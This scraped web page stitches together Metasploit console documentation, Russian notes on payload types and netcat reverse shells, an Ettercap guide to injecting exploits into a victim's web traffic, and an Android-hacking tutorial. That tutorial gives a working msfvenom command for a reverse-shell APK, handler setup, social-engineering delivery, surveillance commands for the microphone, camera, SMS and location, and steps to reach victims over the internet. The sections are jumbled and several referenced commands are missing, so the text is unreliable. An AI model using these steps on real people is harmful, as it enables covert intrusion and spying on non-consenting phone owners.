Msfpayload

Содержание:

resource

The resource command runs resource (batch) files that can be loaded through msfconsole.

msf > resource
Usage: resource path1 

Run the commands stored in the supplied files.  Resource files may also contain
ruby code between  tags.

See also: makerc

Some attacks, such as Karmetasploit, use resource files to run a set of commands in a karma.rc file to create an attack. Later, we will discuss how, outside of Karmetasploit, that can be very useful.

msf > resource karma.rc
 Processing karma.rc for ERB directives.
resource (karma.rc_.txt)> db_connect postgres:toor@127.0.0.1/msfbook
resource (karma.rc_.txt)> use auxiliary/server/browser_autopwn
...snip...

Batch files can greatly speed up testing and development times as well as allow the user to automate many tasks. Besides loading a batch file from within msfconsole, they can also be passed at startup using the -r flag. The simple example below creates a batch file to display the Metasploit version number at startup.

root@kali:~# echo version > version.rc
root@kali:~# msfconsole -r version.rc

 _                                                    _
/     /         __                         _   __  /_/ __
| |  / | _____               ___   _____ | | /   _    
| | /| | | ___ |- -|   /    / __ | -__/ | || | || | |- -|
|_|   | | | _|__  | |_  / - __    | |    | | __/| |  | |_
      |/  |____/  ___/ / \___/   /     __|    |_  ___

Frustrated with proxy pivoting? Upgrade to layer-2 VPN pivoting with
Metasploit Pro -- type 'go_pro' to launch it now.

       = ]
+ -- --=
+ -- --=

 Processing version.rc for ERB directives.
resource (version.rc)> version
Framework: 4.8.2-2014022601
Console  : 4.8.2-2014022601.15168
msf >

check

There aren’t many exploits that support it, but there is also a check option that will check to see if a target is vulnerable to a particular exploit instead of actually exploiting it.

msf exploit(ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    172.16.194.134   yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting

msf exploit(ms08_067_netapi) > check

 Verifying vulnerable status... (path: 0x0000005a)
 System is not vulnerable (status: 0x00000000)
 The target is not exploitable.
msf  exploit(ms08_067_netapi) >

Смысловая нагрузка

На самом деле выбор нагрузки(payload) к сплоитам – дело важное. Но их в MSF много, так что я немного пробегусь по ним (в основном по Win*), чтобы появилось общее понимание

Во-первых, есть общее разделение по ОСям, а так же ПО и подгружаемым интерпретаторам (ruby, perl).

Общее разделение по описанию:

  • С пометкой «Inline» – это «целиковые» шеллкоды. Они большие, потому не всегда влезают в эксплойты;
  • «Stager» – нагрузки, разделенные на части. В сплоит попадает небольшой шеллкод, в основном для установки соединения, остальное подгружается при подключении;
  • «Ord» – «заточенные» нагрузки. Маленькие по размеру, но привязанные к статическим адресам в памяти системной DLL’ки;
  • «Bind» – открытие порта и ожидание соединения;
  • «Reverse» – бэкконнект-шелл;
  • «Findport» – происходит поиск сокета, через который работал эксплойт, далее шелл открывается через него. Поиск осуществляется по номеру порта;
  • «Findtag» – аналогично предыдущему, только определение сокета ведется за счет прослушки всех доступных в ожидании прихода 4-байтового тэга от хакера.;
  • «Exec, Download_exec, Up_exec» – шеллкод на запуск команды, скачку/закачку и запуск;
  • «Meterpreter» – продвинутая нагрузка :);
  • «VNC» – запускаем VNC-сервер у жертвы;
  • «dllinjection» – подгрузка DLL’ок в память процесса. Инжект DLL’ок есть двух видов;
  • «metsvc» – целиком загружает meterpreter жертве и прописывает его как сервис;
  • «PassiveX» – наш шелл выступает элементом ActiveX.
  • «NoNX» – шеллкоды с обходом механизма защиты памяти DEP;
  • «DNS» – те, что могут работать по именам хостов, а не по IP;
  • «HTTPS» – шелл, который общается по шифрованному HTTPS-протоколу (жаль, без поддержки прокси).

Немного остановлюсь на PassiveX, так как они очень хороши.
Суть заключается в том, что наш шелл прописывается как элемент ActiveX, а взаимодействие происходит через скрытую версию IE по HTTP-протоколу. Это на самом деле круто, особенно, если ты ломаешь какую-то корпоративную сетку, где все сидят за NAT’ом и с общим файрволом, пропускающим только HTTP-трафик с корпоративного прокси-сервера. В таком случае ни одна другая нагрузка не поможет, особенно если ты не знаешь настройки для прокси. А тут – все настройки для прокси и аутентификации на нем (если она есть) уже прописаны в IE.

Создадим нагрузочку и прослушку под нее (192.168.0.102:443):

Причем, если раньше PassiveX работал только под IE6, то теперь все окей и с IE7/8.

Далее об обычных шеллах. Обычный шелл – это, конечно, хорошо, но если ты юзал meterpreter, то тебе захочется к нему вернуться.
И теперь у нас есть такая возможность. Предположим у нашей жертвы (192.168.0.101) уже повешен обычный бинд-шелл на 5678 порту.

Коннектимся к нему из MSF:

Хотелось бы сказать, что следующей командой мы превращаем обычный шелл в meterpreter, да не судьба. MSF просто подгружает бэкконект meterpreter и, запустив его, создает еще одну сессию (создается еще одно соединение). Хотя это тоже не плохо. Но чтобы все работало, нам надо установить глобальные значения своего хоста (куда коннектиться реверсу), а потом уже «обновить» сессию (предположим, она у нас «1»):

В итоге избавляемся от кучи напрягов и ограничений обычного шелла.

Кстати, о meterpreter’e. Его уже давно пытаются перенести на другие платформы(linux, Macos), но пока как-то там не все гладко. Но, все-таки, есть хорошие новости: в каком-то виде meterpreter был перенесен на PHP! В «каком-то», потому что не все функции позволяет реализовать PHP, но основное уже доступно. Так что можно залить на заваленный сервак и побаловаться таким крутым шеллом.

Теперь поговорим о собственной «безопасности». Пока что большинство модулей MSF не поддерживают прокси, особенно это относится к боевым нагрузкам. Ведь мы же не хотим, чтобы нас вычислили :). Потому вспомним олдскульную фичу – портфорвардинг.

Предположим наш сервак с MSF, ожидающий бэкконнект шеллов, находится по адресу «192.168.0.103:5555». Тогда на подставном сервачке на 80 порту мы вешаем netcat:

А в payload’ах мы прописываем IP (или DNS) и порт подставного сервака.
Кстати, netcat поддерживает SSL, так что можно и зашифровать трафик, если сам шелл этого не позволяет.

help

The help command will give you a list and small description of all available commands.

msf > help

Core Commands
=============

    Command       Description
    -------       -----------
    ?             Help menu
    banner        Display an awesome metasploit banner
    cd            Change the current working directory
    color         Toggle color
    connect       Communicate with a host
...snip...

Database Backend Commands
=========================

    Command           Description
    -------           -----------
    db_connect        Connect to an existing database
    db_disconnect     Disconnect from the current database instance
    db_export         Export a file containing the contents of the database
    db_import         Import a scan result file (filetype will be auto-detected)
...snip...

Shellcode Formats and Output Redirection

But you will notice that the output is a garbled mess; that’s because the default format for the shellcode is raw.

Raw Payload Output

Sometimes, you may want this, so you can redirect it to an executable file, but other times, you just want to be able to copy paste the shellcode into an exploit. To do that, you can use the -f format option to simply specify the output format. There are many formats to choose from, as demonstrated with msfvenom -l formats:

Lots of Msfvenom Shellcode Output Formats

We can use -f py to print the output in a Python-friendly format (handy for BOF scripts), -f c to print it in C format etc.. If you want a quick way to generate executable files, run -f exe for Windows .exe format, -f elf for Linux ELF executable format, -f war for .war format (for Tomcat etc.), and either redirect the output of the command to a file with > file.format or use Msfvenom’s option of -o file.format (e.g. -o evil.exe).

Standard Windows x86 Executable Shellcode Generation

Netcat И shell.now.sh

1. Откройте прослушивание портов с помощью netcat

ИЛИ

Поскольку это обратное соединение, оно может пробивать брандмауэры и подключаться к Интернету только если эти порты у Вас открыты в обе стороны.

Мы так же можем ходить на свой домен (evil.com) который лежит на хостинге с открытым портом и получать реверс.

По умолчанию при выходе из оболочки вы теряете соединение. Вы можете сделать это случайно или по запаре неверной командой (чаще из-за работы в текстовых редакторах vi и nano при нажатии ctrl+c). Но Вы можете легко создать оболочку, которая попытается восстановить соединение, поместив ее в цикл while.

3. Вернитесь к своему терминалу где запускали слушатель и наблюдайте

На мой взгляд, это самый классический пример бэкконнекта, но в современных реалиях, netcat может быть просто не установлен на сервере.

Если у вас установлена ​​неправильная версия netcat которая не поддерживает некоторые параметры, , что вы все равно сможете вернуть обратно свою оболочку, например так:

Расмотрим и другие варианты исполнения, подробно разъяснять не вижу смысла, первого примера думаю должно быть достаточно чтобы понять что она делает.

route

The route command in Metasploit allows you to route sockets through a session or ‘comm’, providing basic pivoting capabilities. To add a route, you pass the target subnet and network mask followed by the session (comm) number.

meterpreter > route -h
Route traffic destined to a given subnet through a supplied session.

Usage:
  route [add/remove] subnet netmask [comm/sid]
  route [add/remove] cidr [comm/sid]
  route  
  route 
  route 

Subcommands:
  add - make a new route
  remove - delete a route; 'del' is an alias
  flush - remove all routes
  get - display the route for a given target
  print - show all active routes

Examples:
  Add a route for all hosts from 192.168.0.0 to 192.168.0.0 through session 1
    route add 192.168.0.0 255.255.255.0 1
    route add 192.168.0.0/24 1

  Delete the above route
    route remove 192.168.0.0/24 1
    route del 192.168.0.0 255.255.255.0 1

  Display the route that would be used for the given host or network
    route get 192.168.0.11

meterpreter >
meterpreter > route

Network routes
==============

    Subnet           Netmask          Gateway
    ------           -------          -------
    0.0.0.0          0.0.0.0          172.16.1.254
    127.0.0.0        255.0.0.0        127.0.0.1
    172.16.1.0       255.255.255.0    172.16.1.100
    172.16.1.100     255.255.255.255  127.0.0.1
    172.16.255.255   255.255.255.255  172.16.1.100
    224.0.0.0        240.0.0.0        172.16.1.100
    255.255.255.255  255.255.255.255  172.16.1.100

Move back to Kali Linux

We already started the multi/handler exploit to listen on port 4444 and local IP address. Open up the multi/handler terminal.

Figure 17: Successfully got the Meterpreter session

Bingo! We got the Meterpreter session of the Android device. We can check more details with the sysinfo command, as mentioned in the below screenshot.

Figure 18: Display system details

There are lots of commands available in Meterpreter. By using the “?” help command, you will see more options that we can perform with an Android device. We have successfully penetrated the Android device using Kali Linux and penetration testing tools.

You can also perform this attack on the public network, using a public IP address and a port-forwarding router.

Let’s quickly look at some tips which prevent these types of attack.

  • Don’t allow downloading any apps from cloud websites
  • Don’t install apps with an unknown resources enabled option
  • Use antivirus in a mobile device
  • Don’t click any random links
  • Never download an unwanted .doc, PDF or .apk file from unknown source
  • Always confirm with the source of the file to be doubly sure

So now for some advanced stuff: Hacking Over the internet with Metasploit and msfvenom

So what if we wanted to make the hack work anywhere in the world. What can we do to make the hack global so that we could hack anyone over the internet without buying any expensive server?

Step 1: We need a router which can port forwarding feature. This is a must for hacking over the internet with Metasploit.

Step 3: Next, we need dynamic IP for msfvenom and Metasploit to work over the internet, so go to noip.com and sign up. After signing up,

Click on Add Host and enter any name for the host. Click on save the host.

Step 4: Now Download DUC from the official website or click here. Install the DUC client and sign in to your account. Once you do the IP address for your system will automatically be updated in the DNS.  In case this doesn`t happen, you can manually configure the DNS.

Step 5: Click on add hosts on the DUC client as shown. If done properly, you will get all three green ticks.

Set the correct host

All the settings are set

Step 6: Now, we need the gateway IP to port forward from our router settings. So type “ifconfig” in the command prompt, and you will get the gateway IP.

Step 7: Now open any browser you have and paste the gateway IP there. It will prompt the login page. Enter the username and password of your router (by default both is admin for most routers).

Step 8: Now navigate to the port forwarding option. Depending upon the router brand, the page might be at a different location, but the underlying principle is the same.

Step 9: Click on Add Port and put value Add port 2222 again and keep it. You can put any port number you wish.

Step 10: Now, while setting up the two commands instead of my local IP use the ddns you just made on no IP.

So in my case, it would be nightfury007.dns.net instead of 192.168.78.129

Step 15: Now, the rest of the method is the same. You have to use social engineering to make the victim install the APK on their device. This part is something you have to do on your own. It’s up to your creativity.

Step 16: You have successfully hacked into the victim’s phone as soon as they install and open it.

Step 17: You need not use NOIP you can instead of your public IP address while making the apk and setting up Metasploit. But the problem is the public Ip address keeps occasionally changing, so making use of public IP will be a temporary solution. Just google whats my IP to find your public IP address

Step 18: If you are having any issues with the no IP client. Do not use it instead, just directly use your public IP. Port forwarding is required by default on all hacking methods over the internet.

grep

The grep command is similar to Linux grep. It matches a given pattern from the output of another msfconsole command. The following is an example of using grep to match output containing the string “http” from a search for modules containing the string “oracle”.

msf > grep
Usage: grep  pattern cmd

Grep the results of a console command (similar to Linux grep command)

OPTIONS:

    -A <opt&>  Show arg lines of output After a match.
    -B   Show arg lines of output Before a match.
    -c        Only print a count of matching lines.
    -h        Help banner.
    -i        Ignore case.
    -k   Keep (include) arg lines at start of output.
    -m   Stop after arg matches.
    -s   Skip arg lines of output before attempting match.
    -v        Invert match.
msf >
msf > grep http search oracle
   auxiliary/scanner/http/oracle_demantra_database_credentials_leak      2014-02-28       normal     Oracle Demantra Database Credentials Leak
   auxiliary/scanner/http/oracle_demantra_file_retrieval                 2014-02-28       normal     Oracle Demantra Arbitrary File Retrieval with Authentication Bypass
   auxiliary/scanner/http/oracle_ilom_login                                               normal     Oracle ILO Manager Login Brute Force Utility
   exploit/multi/http/glassfish_deployer                                 2011-08-04       excellent  Sun/Oracle GlassFish Server Authenticated Code Execution
   exploit/multi/http/oracle_ats_file_upload                             2016-01-20       excellent  Oracle ATS Arbitrary File Upload
   exploit/multi/http/oracle_reports_rce                                 2014-01-15       great      Oracle Forms and Reports Remote Code Execution
   exploit/windows/http/apache_chunked                                   2002-06-19       good       Apache Win32 Chunked Encoding
   exploit/windows/http/bea_weblogic_post_bof                            2008-07-17       great      Oracle Weblogic Apache Connector POST Request Buffer Overflow
   exploit/windows/http/oracle9i_xdb_pass                                2003-08-18       great      Oracle 9i XDB HTTP PASS Overflow (win32)
   exploit/windows/http/oracle_beehive_evaluation                        2010-06-09       excellent  Oracle BeeHive 2 voice-servlet processEvaluation() Vulnerability
   exploit/windows/http/oracle_beehive_prepareaudiotoplay                2015-11-10       excellent  Oracle BeeHive 2 voice-servlet prepareAudioToPlay() Arbitrary File Upload
   exploit/windows/http/oracle_btm_writetofile                           2012-08-07       excellent  Oracle Business Transaction Management FlashTunnelService Remote Code Execution
   exploit/windows/http/oracle_endeca_exec                               2013-07-16       excellent  Oracle Endeca Server Remote Command Execution
   exploit/windows/http/oracle_event_processing_upload                   2014-04-21       excellent  Oracle Event Processing FileUploadServlet Arbitrary File Upload
   exploit/windows/http/osb_uname_jlist                                  2010-07-13       excellent  Oracle Secure Backup Authentication Bypass/Command Injection Vulnerability

Задача: Сгенерировать словарь для брутфорса

Решение

Я уже несколько раз писал в данной рубрике о том, где можно взять словари для брутфорса или с помощью чего их можно сгенерировать. Но не могу не написать о прелестной находке. Имя ей — l517 (какое красивое имя :). Взять можно тут — code.google.com/p/l517/. Данная тулза включает в себя очень широкие возможности при быстрой и качественной работе. Смотри сам:

  1. Генерирует вордлисты, доставая слова из файлов всевозможных типов.
  2. Генерирует вордлисты, основываясь на веб-сайтах.
  3. Создание стандартных вордлистов.
  4. Мутация вордлистов букво-цифрами, личными префиксо-суфиксами.
  5. Поддержка иностранных алфавитов (хотя отображение их заметно страдает).
  6. Конвертация, фильтры вордлистов.

Программа сделана под Win и, понятное дело, имеет гуи-интерфейс. Хотя по сути своей, тулза ничего чрезвычайно нового и оригинального собой не представляет. Но хорошо ведь, когда в одном месте все необходимое собрано. Да и поколению, не дружащему с консолью, придется явно по душе ;).

Предварительные требования

Для того, чтобы попробовать то, о чём пойдёт речь, на практике, вам понадобится компьютер с установленной на нём Kali Linux, компьютеры под управлением Windows и Linux, Android-смартфон. В процессе работы, при составлении команд, мы будем пользоваться следующими ключами:

  • Lhost — IP-адрес компьютера, на котором установлена Kali, то есть — нашей рабочей машины.
  • Lport — порт, который назначен серверу — программе, которая «слушает» сеть и ожидает подключения от клиента.
  • P — сокращение от «payload», пэйлоад для выбранной платформы
  • F — ключ, задающий тип файла, например, exe для Windows, apk для Android, и так далее.

В терминале Kali введём команду . Результаты её работы показаны ниже. А именно, будет выведен список всех доступных опций для создания пэйлоадов. Тут мы рассмотрим лишь некоторые из них.

Limiting Shellcode Size

You might have a tight shellcode space in memory for a BOF attack, and you want to reduce the shellcode size to under a specific number of bytes. In this case, you can use the -s no. option to specify the upper limit of the size of the payload.

Before Shellcode Size Limiting

After Shellcode Size Limiting

In our case here, we have shaved off 58 bytes by lowering the shellcode’s maximum size. But don’t get too greedy and make the maximum too low, as it will cause an error and the shellcode generation won’t work. If you want the smallest possible size for the shellcode, use the —smallest option to let Msfvenom generate the smallest shellcode using any, or no, encoder.

Задача: подсунуть жертве свой сплойт, используя фильтры ETTERCAP

Решение

Продолжу тему атак обычных юзеров. Ситуация та же — «доступен» только браузер пользователя, а нам требуется «заставить» перейти его на нашу страницу с эксплойтом. Представим, что мы находимся с ним в одной подсети, так как нам снова понадобится возможность доступа к трафику.

Но на сей раз воспользуемся такой хорошей вещью как «Ettercap NG». Что приятно — есть и GUI’шный интерфейс, и консольная версия. Последняя версия — 0.7.3. На сайте ettercap.sourceforge.net есть исходники как под разные виды nix’ов, так и под винду. В общем, это сниффер, наделенный важными и нужными для нас возможностями. В их число входят:

  • Вынимание и, если надо, расшифровывание логинов и паролей к большому числу протоколов;
  • Модификация передаваемых в обоих направлениях пакетов;
  • Проведение Man in the Middle атак (MitM);
  • Пассивный анализ трафика с фингерпринтом ОС, сервисов хостов.

К тому же, Ettercap расширяет свой функционал за счет всевозможных плагинов.

Но для данной задачи нам потребуются его возможности по поиску и модификации данных TCP/IP-пакетов на «живом» трафике. Общая идея такова: во-первых, получаем доступ к трафику; во-вторых, устанавливаем фильтр для Ettercap’а на модификацию HTTP-ответов от серверов, куда жертва заходит. Модификация будет заключаться в добавлении либо сплойта, либо ссылки на сплойт.

Для точности буду рассказывать о консольной версии Ettercap, входящей в BackTrack 4. Приступим. Создаем текстовый файлик «http_filter.txt» и пишем в него следующий код — фильтр на HTTP-трафик.

Для создания фильтров к Ettercap существует примитивный «язык», которым мы и воспользовались. Здесь мы создали два «правила».

Первое применяется к пакетам, отправленным на 80 порт по протоколу TCP. Обычно это запросы браузера на открытие той или иной страницы веб-серверу

В них ищем строчку «Accept-Encoding» (поле стандартного HTTP-заголовка, посылаемого браузером) и меняем ее на любой другой текст того же размера (это важно). Требуется это, потому что обычно в «Accept-Encoding» указывается, что ответы от веб-сервера можно сжимать

Но по сжатым данным мы не сможем провести необходимое нам изменение HTML-страниц. Поэтому мы меняем это поле на что-нибудь другое. Сервер же при разборе пропустит это кривое поле и ответит нам в несжатом виде. Второе правило применяется уже к принимаемым данным. Ситуация похожая. Делаем выборку пакетов от веб-сервера (протокол TCP, исходящий порт — 80). И меняем строчки «

Почему именно эти теги будем менять? У них есть один плюс — они присутствуют почти на всех HTML-страничках в единичном числе, что повысит шансы на успешную эксплуатацию уязвимости при малом количестве запросов к нашему серваку. Но все зависит от ситуации, браузера жертвы и т.д. Еще пара моментов: функция «replace» регистрозависима, то есть можно повторить искомые строчки в разных регистрах, а функция «msg» выводит нам сообщения в логах, чтобы мы знали, когда правило задействовалось.
Далее требуется переварить наш текстовый файл с фильтром в удобоваримый для Ettercap’a вид. Пишем в консоли:

Где http_filter.txt — наш файл с фильтром, а в «-o http_filter.ef» указываем имя будущего Еttercap-фильтра (необязательная опция).
Далее запускаем сам Ettercap.

Где опция «-T» указывает на то, что мы запускаем текстовую версию Ettercap; «-F http_filter.ef» — подключаем полученный от Etterfilter фильтр; «-M ARP /192.168.0.1/» — указываем Ettercap, что требуется запустить MitM атаку, а именно — arp-спуфинг (в Ettercap входит еще несколько классических атак). 192.168.0.1– IP шлюза. Кроме встроенности, бонусы использования встроенного arp-спуффинга еще и в том, что после своей работы сниффер восстанавливает ARP таблицы, посылая правильные значения, к тому же не надо заморачиваться с редиректами. В итоге Ettercap будет фильтровать трафик от нашей жертвы, добавляя в конец каждой HTML’ки наш сплойт. Как понимаешь, Ettercap — тулза крутая. Особенно с возможностями фильтров, а они широки. Это и изменение, декодирование пакетов, и использование регекспов, и запуск команд… Основную инфу можно почерпнуть из man’ов и прилагаемых к Ettercap’у примеров. Кстати, если будешь разбираться с этой тулзой, то помни, что она не сниффит трафик, посылаемый машиной, на которой она установлена.

METASPLOIT AND MSFVENOM

When it comes to hacking Android phones, there are lots of ways for doing so. There are apps, web portals, scripts, and whatnot. We have already seen how to hack android device with spynote.

So today we are going to guide you on how to hack android phone using Metasploit and MSFVenom.

For performing this hack using Metasploit or msfvenom, you’ll need Kali Linux OS installed in your computer and Android Phone as a target. And obviously, internet connection is a must.

Disclaimer:Please be aware that hacking is illegal unless you have permission from the account owner and the parties involved. This post should be used as a tool to help people understand how hackers are hacking android devices with Metasploit and msfvenom. The Hacking world team shall not be held responsible if any criminal charges are brought against any person who misuses the information on this website to violate the law.

Learn how to secure your account from hackers

Read full disclaimer

Below are the steps to perform this hack using Metasploit or msfvenom. So let’s start hacking.

Step 1: Creating a malicious apk file

Open your KALI LINUX. Open your Terminal and type in the following command

# msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.78.129 LPORT=4444 R > hackingworld.apk

Output:

**LHOST= YOUR IP address

**LPORT= 4444

**Use ifconfig to find your IP address if you don`t know.

# ifconfig

Step 2: Delivering APK file to the victim

You have now created your malicious spyware .apk file using Metasploit and msfvenom. It will be saved to your /home/ folder by default. Find your newly created hackingworld.apk and send it to your target (hackingworld.apk). Use social engineering to do this so that the victim does install the apk.

**If you get any signing errors or issues use the following:

Keytool (Comes Pre-Installed in Kali Linux)

keytool -genkey -v -keystore my-release-key.Keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000

Jarsigner (Comes Pre-Installed in Kali Linux)

jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.Keystore hackingworld.apk aliasname

jarsigner -verify -verbose -certs hackingworld.apk

Step 3: Metasploit setup

Open up a new terminal and use the following command to start Metasploit framework.

# msfconsole

Now in the Metasploit framework console type the following

msf  > use exploit/multi/handler
msf exploit(handler) > set payload android/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.78.129
msf exploit(handler) > set LPORT 4444
msf exploit(handler) > exploit

Here

**LHOST= YOUR IP address

**LPORT= 4444

Now when the user opens up the app on his/her phone, you will get a session with that device. And whoa! The device is yours to operate. Metasploit and msfvenom are not that difficult to use but need very methodology steps that need to implement.

Step 4: Exploit..!!!

The moment the victim opens the application on their device, you will get a meterpreter shell on the Kali Linux terminal.

You have now successfully hacked the android device using Metasploit and msfvenom

Some commands you should try using Metasploit and msfvenom:

– record_mic

Records the audio from the android device and stores it on the local drive.

– webcam_snap

Lets you take the images by hacking the android camera of the device

– webcam_stream

Lets you stream live video from the hacked android camera

– dump_contacts

Lets you hack and copy all the contacts from the victim’s phone.

– dump_sms

Lets you hack the victim’s messages and stored it in a text file on your system.

– geolocate

Helps you track the hacked device by location

So, this is how hackers hack using Metasploit and msfvenom on the local network. But what if we wanted to hack android devices with Metasploit over the internet.

Launching MSFconsole

The MSFconsole is launched by simply running msfconsole from the command line. MSFconsole is located in the /usr/share/metasploit-framework/msfconsole directory.

The -q option removes the launch banner by starting msfconsole in quiet mode.

root@kali:# msfconsole -q
msf >

How to Use the Command Prompt

You can pass -h to msfconsole to see the other usage options available to you.

root@kali:~# msfconsole -h
Usage: msfconsole 

Common options
    -E, --environment ENVIRONMENT    The Rails environment. Will use RAIL_ENV environment variable if that is set.  Defaults to production if neither option not RAILS_ENV environment variable is set.

Database options
    -M, --migration-path DIRECTORY   Specify a directory containing additional DB migrations
    -n, --no-database                Disable database support
    -y, --yaml PATH                  Specify a YAML file containing database settings

Framework options
    -c FILE                          Load the specified configuration file
    -v, --version                    Show version

Module options
        --defer-module-loads         Defer module loading unless explicitly asked.
    -m, --module-path DIRECTORY      An additional module path


Console options:
    -a, --ask                        Ask before exiting Metasploit or accept 'exit -y'
    -d, --defanged                   Execute the console as defanged
    -L, --real-readline              Use the system Readline library instead of RbReadline
    -o, --output FILE                Output to the specified file
    -p, --plugin PLUGIN              Load a plugin on startup
    -q, --quiet                      Do not print the banner on startup
    -r, --resource FILE              Execute the specified resource file (- for stdin)
    -x, --execute-command COMMAND    Execute the specified string as console commands (use ; for multiples)
    -h, --help                       Show this message

Entering help or a ? once in the msf command prompt will display a listing of available commands along with a description of what they are used for.

msf > help

Core Commands
=============

    Command       Description
    -------       -----------
    ?             Help menu
    advanced      Displays advanced options for one or more modules
    back          Move back from the current context
    banner        Display an awesome metasploit banner
    cd            Change the current working directory
    color         Toggle color
    connect       Communicate with a host
    edit          Edit the current module with $VISUAL or $EDITOR
    exit          Exit the console
    get           Gets the value of a context-specific variable
    getg          Gets the value of a global variable
    grep          Grep the output of another command
    help          Help menu
    info          Displays information about one or more modules
    irb           Drop into irb scripting mode
    jobs          Displays and manages jobs
    kill          Kill a job
    load          Load a framework plugin
    loadpath      Searches for and loads modules from a path
    makerc        Save commands entered since start to a file
    options       Displays global options or for one or more modules
    popm          Pops the latest module off the stack and makes it active
    previous      Sets the previously loaded module as the current module
    pushm         Pushes the active or list of modules onto the module stack
    quit          Exit the console
    reload_all    Reloads all modules from all defined module paths
    rename_job    Rename a job
    resource      Run the commands stored in a file
    route         Route traffic through a session
    save          Saves the active datastores
    search        Searches module names and descriptions
    sessions      Dump session listings and display information about sessions
    set           Sets a context-specific variable to a value
    setg          Sets a global variable to a value
    show          Displays modules of a given type, or all modules
    sleep         Do nothing for the specified number of seconds
    spool         Write console output into a file as well the screen
    threads       View and manipulate background threads
    unload        Unload a framework plugin
    unset         Unsets one or more context-specific variables
    unsetg        Unsets one or more global variables
    use           Selects a module by name
    version       Show the framework and console library version numbers


Database Backend Commands
=========================

    Command           Description
    -------           -----------
    creds             List all credentials in the database
    db_connect        Connect to an existing database
    db_disconnect     Disconnect from the current database instance
    db_export         Export a file containing the contents of the database
    db_import         Import a scan result file (filetype will be auto-detected)
    db_nmap           Executes nmap and records the output automatically
    db_rebuild_cache  Rebuilds the database-stored module cache
    db_status         Show the current database status
    hosts             List all hosts in the database
    loot              List all loot in the database
    notes             List all notes in the database
    services          List all services in the database
    vulns             List all vulnerabilities in the database
    workspace         Switch between database workspaces
Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *